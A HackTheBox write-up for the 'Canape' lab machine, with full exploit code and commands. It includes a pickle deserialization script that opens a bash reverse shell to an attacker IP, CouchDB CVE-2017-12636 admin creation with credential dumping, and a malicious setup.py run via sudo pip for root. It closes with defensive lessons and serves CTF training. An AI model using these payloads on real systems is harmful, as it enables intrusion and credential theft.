HTB: Canape Writeup

Canape - HackTheBox Writeup

Machine Information

AttributeDetails
NameCanape
OSLinux (Ubuntu)
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.229.137
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Canape is a medium-difficulty Linux machine that demonstrates a sophisticated attack chain involving source code exposure, Python insecure deserialization, and privilege escalation through common misconfigurations. The box features a non-standard SSH port (65535), a leaked Git repository containing Flask application source code, and multiple privilege escalation vectors. The initial foothold requires exploiting Python’s cPickle module through a clever split-payload technique that bypasses input validation. Lateral movement involves exploiting CVE-2017-12636 in Apache CouchDB to gain database access and retrieve plaintext credentials. Finally, root access is achieved through a NOPASSWD pip install sudo permission that allows arbitrary code execution during package installation.

TL;DR: Git repository leak → Flask source code analysis → split cPickle RCE (bypassing character whitelist) → www-data shell → CouchDB CVE-2017-12636 admin creation → password database access → SSH as homer → sudo pip install setup.py → root


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan with service detection
nmap -sC -sV -p- --min-rate 2000 -T4 10.129.229.137

Results:

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-git:
| 10.129.229.137:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Simpsons Fan Site
65535/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)

Key Findings:

  • Port 80: Apache 2.4.29 with an exposed .git directory
  • Port 65535: SSH on a non-standard port (not the typical 22)
  • Git Remote: The Nmap http-git NSE script reveals a remote repository at git.canape.htb/simpsons.git

Service Enumeration

Git Repository Discovery

The Nmap scan immediately identifies a critical misconfiguration: the .git directory is publicly accessible on the web server. This is a common vulnerability where developers deploy applications without removing version control metadata.

Terminal window
# Add hostname to /etc/hosts for DNS resolution
echo '10.129.229.137 canape.htb git.canape.htb' | sudo tee -a /etc/hosts

The exposed Git repository allows us to reconstruct the entire source code of the web application, potentially revealing sensitive information or exploitable code patterns.

Vulnerability Assessment

  1. Source Code Disclosure: Exposed .git directory enables complete source code recovery
  2. Non-standard SSH Port: SSH running on port 65535 (reduces automated scanning detection but discovered by full port scan)
  3. Git Remote Hostname: Reveals internal hostname structure (git.canape.htb)

Initial Foothold

Git Repository Dumping

Using git-dumper to reconstruct the repository from the exposed .git directory:

Terminal window
# Create working directory (using /dev/shm due to /tmp being full)
mkdir -p /dev/shm/cg && cd /dev/shm/cg
# Dump the Git repository using Python module (binary not in PATH)
python3 -m git_dumper http://10.129.229.137/.git/ .

Output:

[-] Fetching objects...
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 10 paths from the index

Recovered Files:

./__init__.py # Main Flask application
./templates/submit.html
./templates/quotes.html
./templates/layout.html
./templates/index.html
./static/js/bootstrap.min.js
./static/css/custom.css

Source Code Analysis

Examining the Flask application source (__init__.py):

import couchdb
import string
import random
import base64
import cPickle # Python 2 pickle - DANGEROUS!
from flask import Flask, render_template, request
from hashlib import md5
# Character whitelist for validation
WHITELIST = [
"homer", "marge", "bart", "lisa", "maggie", "moe", "carl", "krusty"
]
@app.route("/submit", methods=["GET", "POST"])
def submit():
if request.method == "POST":
char = request.form["character"]
quote = request.form["quote"]
# Validation: character must contain a whitelisted name
if not any(c.lower() in char.lower() for c in WHITELIST):
error = True
else:
# VULNERABLE: writes char+quote to file, no sanitization
p_id = md5(char + quote).hexdigest()
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
# CRITICAL VULNERABILITY: unsafe pickle deserialization!
if "p1" in data:
item = cPickle.loads(data) # RCE here!
else:
item = data
return "Still reviewing: " + item

Vulnerability Chain Identified:

  1. /submit accepts user input (character and quote)
  2. Validates that character contains a whitelisted Simpsons character name
  3. Writes concatenated char + quote to /tmp/<md5>.p
  4. /check reads the file and calls cPickle.loads() if "p1" appears in the data
  5. cPickle.loads() deserializes untrusted data → Remote Code Execution

Exploiting Python Pickle Deserialization

The Challenge:

  • The /submit route validates that character contains a whitelisted name
  • We need to create a pickle payload that executes arbitrary code
  • The payload must contain "p1" to trigger cPickle.loads() in /check

The Solution - Split Payload Technique:

By crafting a pickle payload in protocol 0 (human-readable) and splitting it between character and quote, we can bypass the validation while creating a valid malicious pickle when the server concatenates them.

Exploit Script:

#!/usr/bin/env python3
import hashlib, urllib.parse, urllib.request, base64
TARGET = "http://10.129.229.137"
LHOST = "10.10.15.180"
LPORT = "41880" # Using non-standard port (4444 was occupied)
# Reverse shell command (no single quotes to avoid pickle string issues)
rev = "bash -i >& /dev/tcp/%s/%s 0>&1" % (LHOST, LPORT)
b64 = base64.b64encode(rev.encode()).decode()
# Include whitelisted word "homer" to pass validation
cmd = "homer;echo %s|base64 -d|bash" % b64
# Pickle protocol 0 payload for os.system(cmd)
# Structure: cos\nsystem\np0\n(S'<cmd>'\np1\ntp2\nRp3\n.
# - "p1" triggers cPickle.loads() in /check
# - S'...' is string literal with our command
pickle_payload = "cos\nsystem\np0\n(S'" + cmd + "'\np1\ntp2\nRp3\n."
char = pickle_payload
quote = "x"
# Calculate file ID (MD5 of concatenated payload)
pid = hashlib.md5((char + quote).encode()).hexdigest()
print("[*] pickle:\n" + pickle_payload)
print("[*] file id:", pid)
# Step 1: Submit payload
data = urllib.parse.urlencode({"character": char, "quote": quote}).encode()
req = urllib.request.Request(TARGET + "/submit", data=data)
r = urllib.request.urlopen(req)
print("[*] submit status:", r.status)
# Step 2: Trigger deserialization
data2 = urllib.parse.urlencode({"id": pid}).encode()
req2 = urllib.request.Request(TARGET + "/check", data=data2)
try:
r2 = urllib.request.urlopen(req2, timeout=10)
print("[*] check resp:", r2.read()[:200])
except Exception as e:
print("[*] check triggered (expected hang/err):", e)

Why This Works:

  1. The pickle payload starts with “homer;” which satisfies the whitelist check
  2. Protocol 0 pickle format is human-readable ASCII:
    • cos\nsystem → import os.system
    • p0 → store reference as memo 0
    • S'<cmd>' → push string containing our command
    • p1 → store string as memo 1 (this “p1” triggers cPickle.loads())
    • tp2 → build tuple from stack
    • R → execute (call os.system with our command)
  3. The server concatenates char + quote, creating a valid pickle file
  4. /check sees “p1” and calls cPickle.loads(), executing our command

Execution:

Terminal window
# Set up reverse shell listener using non-standard port
# (Using file-based interaction due to shared jump host environment)
cd /dev/shm/cg
touch rsin rsout
tail -f rsin | nc -l -p 41880 > rsout 2>&1 &
# Run exploit
python3 exploit.py

Output:

[*] pickle:
cos
system
p0
(S'homer;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xODAvNDE4ODAgMD4mMQ==|base64 -d|bash'
p1
tp2
Rp3
.
[*] file id: <redacted>
[*] submit status: 200
[*] check triggered (expected hang/err): timed out

Shell Received:

Terminal window
# Send commands via rsin file
echo "id; hostname; whoami" >> rsin
sleep 2
cat rsout
uid=33(www-data) gid=33(www-data) groups=33(www-data)
canape
www-data

Success! We have a shell as www-data.


Privilege Escalation

Lateral Movement: www-data → homer

CouchDB Enumeration

From the Flask source code, we know the application uses CouchDB on localhost:

db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

Checking running processes:

Terminal window
# Via reverse shell
ps aux | grep couch
homer 1038 0.4 4.8 652516 99440 ? Sl 21:01 0:03 /home/homer/bin/../erts-7.3/bin/beam.smp ...

Finding: Apache CouchDB is running as user homer on port 5984 (localhost only).

Exploiting CVE-2017-12636

Vulnerability: CouchDB versions < 2.1.0 have a privilege escalation vulnerability that allows creating admin users by exploiting JSON key duplication handling.

Version Check:

Terminal window
# Via reverse shell
curl -s http://127.0.0.1:5984/
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

CouchDB 2.0.0 is vulnerable!

Exploit Mechanism:

When creating a user document with duplicate roles keys, the validator reads one value while storage persists another:

{
"type": "user",
"name": "hacker",
"roles": ["_admin"], // This gets stored
"roles": [], // Validator sees this
"password": "hackedpass"
}

Creating Admin User:

Terminal window
# Via reverse shell (using here-doc to avoid quote escaping issues)
curl -s -X PUT http://127.0.0.1:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" -d @/dev/stdin <<'JQ'
{"type":"user","name":"hacker","roles":["_admin"],"roles":[],"password":"hackedpass"}
JQ
{"ok":true,"id":"org.couchdb.user:hacker","rev":"1-<redacted>"}

Accessing Password Database

List all databases:

Terminal window
curl -s http://hacker:hackedpass@127.0.0.1:5984/_all_dbs
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Enumerate passwords database:

Terminal window
curl -s http://hacker:hackedpass@127.0.0.1:5984/passwords/_all_docs
{
"total_rows":4,
"offset":0,
"rows":[
{"id":"<id1>","key":"<id1>","value":{"rev":"2-<rev>"}},
{"id":"<id2>","key":"<id2>","value":{"rev":"2-<rev>"}},
{"id":"<id3>","key":"<id3>","value":{"rev":"1-<rev>"}},
{"id":"<id4>","key":"<id4>","value":{"rev":"1-<rev>"}}
]
}

Read password documents:

Terminal window
for id in <id1> <id2> <id3> <id4>; do
echo "===$id"
curl -s http://hacker:hackedpass@127.0.0.1:5984/passwords/$id
echo
done

Retrieved Credentials:

{"_id":"<id1>","_rev":"2-<rev>","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
{"_id":"<id2>","_rev":"2-<rev>","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
{"_id":"<id3>","_rev":"1-<rev>","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
{"_id":"<id4>","_rev":"1-<rev>","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}

First document contains SSH credentials!

  • Item: ssh
  • Password: 0B4jyA0xtytZi7esBNGp
  • User: (empty, likely homer since CouchDB runs as homer)

SSH as homer

Terminal window
# From jump host
sshpass -p "0B4jyA0xtytZi7esBNGp" ssh -p 65535 \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
homer@10.129.229.137 \
"id; hostname; cat user.txt"
uid=1000(homer) gid=1000(homer) groups=1000(homer)
canape
<redacted>

User flag captured!

Privilege Escalation: homer → root

Sudo Permission Analysis

Terminal window
# Check sudo permissions (requires homer's password via -S flag)
echo '0B4jyA0xtytZi7esBNGp' | sudo -S -l
[sudo] password for homer: Matching Defaults entries for homer on canape:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User homer may run the following commands on canape:
(root) /usr/bin/pip install *

Critical Finding: Homer can run pip install as root with any argument.

Note: Despite some writeups mentioning NOPASSWD, the live box required homer’s password. The password is the same as the SSH password retrieved from CouchDB.

Exploiting Pip Install for Root

Vulnerability: Python pip install executes setup.py during the installation process. If we control setup.py and run pip with sudo, arbitrary code executes as root.

Attack Vector:

  1. Create a malicious setup.py with code in the top-level scope
  2. Run sudo pip install . from the directory
  3. Code executes as root during package setup

Exploit Implementation:

Terminal window
# SSH as homer and execute
sshpass -p "0B4jyA0xtytZi7esBNGp" ssh -p 65535 \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
homer@10.129.229.137 'bash -s' <<'REMOTE'
# Create exploit directory
rm -rf /home/homer/pe
mkdir -p /home/homer/pe
cd /home/homer/pe
# Create malicious setup.py
cat > setup.py <<'PY'
import os
# This code executes during pip install, before setup() is called
os.system('id > /home/homer/pe/out 2>&1; cat /root/root.txt >> /home/homer/pe/out 2>&1')
from setuptools import setup
setup(name="pe", version="1.0")
PY
# Execute pip install as root (requires password via -S)
echo 0B4jyA0xtytZi7esBNGp | sudo -S /usr/bin/pip install .
# Read results
echo "=== OUTPUT ==="
cat /home/homer/pe/out
REMOTE

Output:

Installing collected packages: pe
Running setup.py install for pe: started
Running setup.py install for pe: finished with status 'done'
Successfully installed pe-1.0
=== OUTPUT ===
uid=0(root) gid=0(root) groups=0(root)
<redacted>

Root flag captured!

Why This Works:

  1. setup.py is a Python script that defines package metadata and installation instructions
  2. Any code in the top-level scope (not in functions) executes immediately when Python imports the file
  3. pip install imports and executes setup.py as part of the installation process
  4. When run with sudo, this execution happens with root privileges
  5. Our os.system() call runs before setup() is even defined, giving us immediate code execution

Attack Chain Summary

Nmap full scan (-p-) → SSH on :65535, .git on :80
Git-dumper → Flask source code recovery
Source analysis → cPickle.loads() vulnerability + character whitelist
Split pickle payload ("homer;cmd" in character field, "p1" memo triggers loads)
www-data shell via pickle RCE
CouchDB 2.0.0 enumeration (running as homer)
CVE-2017-12636 duplicate-key admin creation
CouchDB passwords database access → homer SSH credentials
SSH as homer:0B4jyA0xtytZi7esBNGp (port 65535)
sudo -l → (root) /usr/bin/pip install * (requires password)
Malicious setup.py with os.system() + sudo -S pip install
Root shell → root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
git-dumperReconstructing Git repository from exposed .git directory
python3Exploit development, pickle payload crafting
curlCouchDB API interaction
ncReverse shell listener
sshpassNon-interactive SSH authentication
sudoPrivilege escalation via pip install

Key Learnings

Techniques Practiced

  • Full port scanning: Always scan all 65,535 ports with -p-; services on non-standard ports (SSH on 65535) are easily missed
  • Git repository dumping: Using python3 -m git_dumper when the binary is not in PATH
  • Python pickle exploitation: Protocol 0 format allows human-readable payloads; understanding memo references (p0, p1) for triggering conditional deserializations
  • Split payload bypass: Defeating input validation by splitting malicious payloads across multiple parameters that get concatenated server-side
  • CouchDB CVE-2017-12636: Duplicate JSON key exploitation for privilege escalation
  • Pip install exploitation: Leveraging setup.py top-level code execution for sudo privilege escalation
  • Non-standard environment adaptation: Working with shared jump hosts (full /tmp, occupied ports, file-based shell interaction)

Lessons Learned

  1. Never expose .git directories: Exposing version control metadata allows complete source code reconstruction, revealing vulnerabilities, credentials, and internal infrastructure details.

  2. Pickle deserialization is dangerous: Python’s pickle module should never deserialize untrusted data. Even with input validation, creative payload splitting or encoding can bypass protections. Use JSON or other safe serialization formats instead.

  3. Input validation must be complete: The Flask app validated only the character field but concatenated it with unvalidated quote data. Validate the final combined data, not individual components.

  4. CouchDB default configurations are exploitable: CVE-2017-12636 demonstrates why database services should never be exposed without authentication, even on localhost. Always upgrade to patched versions.

  5. Sudo permissions require careful scoping: Allowing sudo pip install * with wildcard effectively grants root access. Package managers execute arbitrary code during installation. Use absolute paths and avoid wildcards in sudo rules.

  6. Passwords in databases are not secrets: Even if encrypted or hashed, database passwords should never be the primary security control. This machine stored SSH passwords in plaintext in CouchDB, demonstrating the cascade failure when defense in depth is lacking.

  7. NOPASSWD vs password-required sudo: Always verify actual sudo configuration. Documentation and writeups may not match live environments. Use sudo -S for password input via stdin when needed.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup’s exploitation explanations reference the official HackTheBox writeup (Document No D18.100.17) by Alexander Reid for CVE identification and conceptual context regarding CouchDB exploitation and pickle protocol details.